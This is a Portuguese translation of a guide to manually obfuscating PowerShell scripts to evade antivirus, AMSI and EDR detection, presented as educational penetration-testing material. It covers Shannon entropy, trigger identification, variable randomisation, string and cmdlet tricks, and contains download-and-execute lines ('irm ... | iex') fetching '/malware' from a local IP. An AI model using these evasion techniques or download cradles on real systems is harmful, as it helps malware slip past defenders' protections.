
Uma coleção de técnicas, exemplos e um pouco de teoria para ofuscar manualmente scripts PowerShell visando evasão de AV, compilada para fins educacionais. O conteúdo deste repositório é o resultado de pesquisa pessoal, incluindo leitura de materiais online e tentativas de tentativa e erro em laboratórios e testes de penetração.
Uma coleção de técnicas, exemplos e um pouco de teoria para ofuscar manualmente scripts PowerShell a fim de contornar detecção baseada em assinaturas, compilada para fins educacionais. O conteúdo deste repositório é resultado de pesquisa pessoal, incluindo leitura de materiais online e tentativas de tentativa e erro em laboratórios e testes de penetração. Você não deve tomar nada como garantido.
Apresentação em vídeo no YouTube: youtube.com/watch?v=tGFdmAh_lXE
⚠️ Aviso legal: O uso das técnicas e conceitos descritos neste repositório para obter acesso não autorizado a sistemas que você não tem permissão para testar é ilegal. Você é responsável pelas suas ações. Não seja mau.
O termo científico entropy, geralmente definido como a medida da aleatoriedade ou desordem de um sistema, é importante na evasão de AV. Isso porque malware frequentemente contém código altamente randomizado, criptografado e/ou codificado (ofuscado) para dificultar a análise e, portanto, a detecção. Como um dos vários métodos, os produtos antivírus usam análise de entropia para identificar arquivos e payloads potencialmente maliciosos.
É importante entender esse conceito porque, ao ofuscar código, você deve ter em mente a variação de entropia criada pelas mudanças que escolher fazer. Quebrar assinaturas é fácil, mas se você não prestar atenção ao nível de entropia, AVs/EDRs sofisticados perceberão.
Um princípio a ter em mente: Quanto maior a entropia, maior a probabilidade de os dados serem ofuscados ou criptografados, e maior a probabilidade de o arquivo/payload ser malicioso. Felizmente, existem maneiras de reduzi-la.
Claude E. Shannon apresentou uma fórmula em seu artigo de 1948 A Mathematical Theory of Communication que pode ser usada para medir a entropia em um conjunto de dados. Aqui está uma implementação simples em Python da Shannon Entropy que você pode usar para medir a entropia dos payloads que desenvolver:
#!/bin/python3
# Usage: python3 entropy.py <file>
import math, sys
def entropy(string):
"Calculates the Shannon entropy of a UTF-8 encoded string"
# decode the string as UTF-8
unicode_string = string.decode('utf-8')
# get probability of chars in string
prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]
# calculate the entropy
entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])
return entropy
f = open(sys.argv[1], 'rb')
content = f.read()
f.close()
print(entropy(content))
Você também pode usar esta calculadora de entropia de Shannon online ou o Sigcheck.exe da Microsoft com a opção -a.
A atitude madura e elegante antes de partir para testes de ofuscação por tentativa e erro para criar uma variação de payload que não seja sinalizada é identificar a(s) parte(s) de um script que disparam a detecção de malware. Especialmente em scripts curtos, como comandos de C2, você pode conseguir fazer alterações insignificantes e sair do radar imediatamente.
Uma ótima ferramenta para identificar esses gatilhos é o AMSITrigger. Aqui está um exemplo de uso com um arquivo contendo um script malicioso. A área vermelha indica a parte em que a ofuscação deve ser aplicada:

Você também pode identificar gatilhos manualmente executando um script trecho por trecho.
Ao ofuscar scripts, deve ser prioridade substituir nomes de variáveis/classes/funções por nomes aleatórios. Dessa forma, em combinação com outras técnicas, você conseguirá contornar a detecção facilmente. Mas você deve ter em mente a entropia dos payloads que desenvolver. Considere o seguinte script padrão de reverse shell, geralmente detectado pela maioria, senão todos, os AVs:

Agora considere a seguinte versão ofuscada:

Nesta versão, todos os nomes de variáveis foram substituídos por nomes aleatórios de 32 caracteres. Também substituí (pwd).Path por $(gl). O payload tem uma Shannon entropy de 4.96. No momento em que escrevo isto, ele não é detectado pelo MS Defender e por um monte de outros produtos:

Agora considere esta versão:

Esta variação também tem todos os nomes de variáveis substituídos, mas desta vez por nomes compostos por um número x de caracteres 'f', o que resulta em uma queda significativa da entropia do payload. Também substituí (pwd).Path por $(gl) aqui. Novamente, no momento em que escrevo, ele não é detectado pelo MS Defender. O payload tem uma Shannon entropy de 0.76.

⚡ Ambas as variações contornam AVs comuns, mas a segunda tem uma entropia menor e provavelmente terá mais chances ao ser processada por EDRs e outros mecanismos antimalware sofisticados. ⚠️ Não estou dizendo que o melhor desempenho da segunda variação de payload neste exemplo se deve certamente ao nível de entropia (não posso realmente saber; poderia ter sido o comprimento, ou ambos, ou quem sabe o quê), mas é um aspecto importante a ter em mente ao ofuscar coisas, e este exemplo visa destacar esse conceito.
Você pode usar o script abaixo para randomizar os nomes de variáveis em um script PowerShell. ⚠️ O script não é perfeito! Se você executá-lo em scripts PowerShell grandes e complexos, ele pode quebrar a funcionalidade deles ao substituir coisas que não deveria. Use-o com cautela e atenção.
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>
import re
from sys import argv
from uuid import uuid4
def get_file_content(path):
f = open(path, 'r')
content = f.read()
f.close()
return content
def main():
payload = get_file_content(argv[1])
used_var_names = []
# Identify variables definitions in script
variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
variable_definitions.sort(key=len)
variable_definitions.reverse()
# Replace variable names
for var in variable_definitions:
var = var.strip("\n \r\t=")
while True:
new_var_name = uuid4().hex
if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
continue
else:
used_var_names.append(new_var_name)
break
payload = payload.replace(var, f'${new_var_name}')
print(payload + '\n')
main()
É super divertido e fácil substituir valores $True e $False por outros equivalentes booleanos, que são literalmente ilimitados. Especialmente se você identificou o gatilho de detecção em um determinado payload e ele inclui um valor $True ou $False, provavelmente conseguirá contornar a detecção simplesmente substituindo-o por um substituto booleano. Todos os exemplos abaixo avaliam como True. Você pode invertê-los para False simplesmente adicionando um ponto de exclamação antes da expressão (por exemplo, ![bool]0x01):
0, Null ou uma string vazia retornará True:[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/-12354893) # Boolean typecast of a negative number
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]
# Well, you get the point.
True:[bool][bool]
[bool][char]
[bool][int]
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
True (óbvio):(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
True dos atributos de um objeto:$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
True ou False:[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%21%5Bbool%5D%24null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]
Você pode ofuscar cmdlets adicionando aspas simples e/ou duplas entre seus caracteres, desde que não seja no início. É super eficaz! Por exemplo, a expressão iex "pwd" pode ser substituída por:
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"
# and so on... but also:
i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""
# You get the point.
Isso é um pouco sujo, mas pode ser útil. Em um terminal Windows CMD, é possível inserir o símbolo de acento circunflexo (^) entre os caracteres de um comando e ele ainda será interpretado normalmente. Em um script PowerShell, uma maneira de utilizar isso seria:
cmd /c "who^am^i"

Um truque muito legal que meu amigo e poderoso haxor Karol Musolff (@kmusolff) me mostrou. Você pode usar Get-Command (ou gcm) para recuperar o nome (string) de qualquer comando, incluindo todos os arquivos não PowerShell na variável de ambiente Path ($env:Path), usando curingas. Você pode então executá-los como jobs com o operador &. Por exemplo, a seguinte linha:
Invoke-RestMethod -uri https://192.168.0.66/malware | iex
Poderia ser ofuscada para:
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
Ou, ainda melhor, esta aqui, que tem um valor de Shannon entropy mais baixo:
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
Existem certos loops que podem ser substituídos por outros tipos de loops ou funções. Por exemplo, um loop While ($True){ # some code } pode ser substituído pelo seguinte:
Um loop For infinito
For (;;) { # some code }
Um loop Do-While
Do { # some code } While ($true)
Um loop Do-Until
Do { # some code } Until (1 -eq 2)
Uma função recursiva
function runToInfinity {
# do something;
runToInfinity;
}
Você pode tentar adicionar parâmetros a um cmdlet. Por exemplo, a seguinte linha:
iex "whoami"
Poderia ser expandida para:
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"
Você pode, é claro, tentar o oposto.
Você pode "poluir" um script com variáveis e funções aleatórias. Considere o seguinte script como malicioso:
$b64 = $(irm -uri http://192.168.0.66/malware);
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;
Você pode conseguir quebrar a assinatura dele fazendo algo como:
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;
Você pode sempre procurar comandos ou até blocos de código inteiros em um script que possam ser substituídos por componentes com a mesma funcionalidade ou similar. No seguinte script clássico de reverse shell, o comando pwd é usado para recuperar o diretório de trabalho atual e reconstruir o valor do prompt do shell:

A parte (pwd).Path pode ser substituída pelo seguinte pequeno script estranho e nada ortodoxo e, embora ele até inclua pwd, serve ao nosso propósito de quebrar a assinatura mantendo a funcionalidade do script:
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"
Existem, é claro, substitutos mais simples para pwd, como gl, get-location e cmd.exe /c chdir, que podem resolver, especialmente em combinação com outras técnicas.
Não há limites para o que se pode fazer com strings. Veja abaixo alguns conceitos interessantes. Os exemplos usam a string 'malware':
Ao custo de adicionar algumas linhas novas, você pode transformar uma string em uma here-string.
Isto:
$x = 'echo malware';
iex $x;
É o mesmo que:
$x = 'echo malware';
iex @"
$x
"@
$x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""
Bem direto ao ponto e clássico:
'mal' + 'w' + 'ar' + 'e'
Adicione o valor desejado entre uma string irrelevante e use substring() para extraí-lo com base nos índices inicial e final:
'xxxmalwarexxx'.Substring(3,7)
Crie uma string lixo e substitua-a pelo valor desejado por meio de correspondência regex:
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'
Codifique sua string e decodifique-a dentro do script:
[System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/main/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))
"$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x65))"
Isso é só para começar. Continua...
Ofuscar um script anexando comentários aqui e ali pode, na verdade, resolver sozinho.
por exemplo, um comando de reverse shell poderia ser ofuscado assim:

<# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> em vários lugares)
Isso não só funcionará, como também reduzirá o valor de Shannon entropy do payload (desde que você não use comentários aleatórios complexos).
Existem strings com cara de malware que disparam o AMSI imediatamente e deve ser prioridade substituí-las ao ofuscar scripts. Veja isto:

Apenas digitar a string 'invoke-mimikatz' no terminal faz o AMSI ter um treco (o script nem está presente/carregado).
Essas strings também podem ser encontradas em comentários, então é uma boa ideia removê-las, especialmente de recursos FOS que você pega da internet (por exemplo, Invoke-Mimikatz.ps1 do GitHub).
*Geralmente é uma boa ideia remover comentários. Isso foi apenas um exemplo.
Provavelmente o truque mais antigo do livro. Randomizar maiúsculas e minúsculas de cmdlets e parâmetros pode ajudar:
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug
Às vezes, simplesmente mover variáveis e classes para locais diferentes pode funcionar, especialmente se você encontrou o gatilho de detecção e ele inclui alguma definição de variável que poderia estar ocorrendo em outro lugar, como no início do script.
Às vezes, é possível obter evasão de AV simplesmente executando um script malicioso linha por linha. Isso pode, é claro, ser desafiador de realizar dadas as circunstâncias. Caso tente, esteja ciente de blocos de script que precisam ser executados como um todo (por exemplo, loops, blocos try-catch, declarações condicionais, definições de função etc). Para testar isso, você pode pegar um script comum de reverse shell do PowerShell (sem ofuscação aplicada) e executá-lo linha por linha. Ele é sinalizado? ;)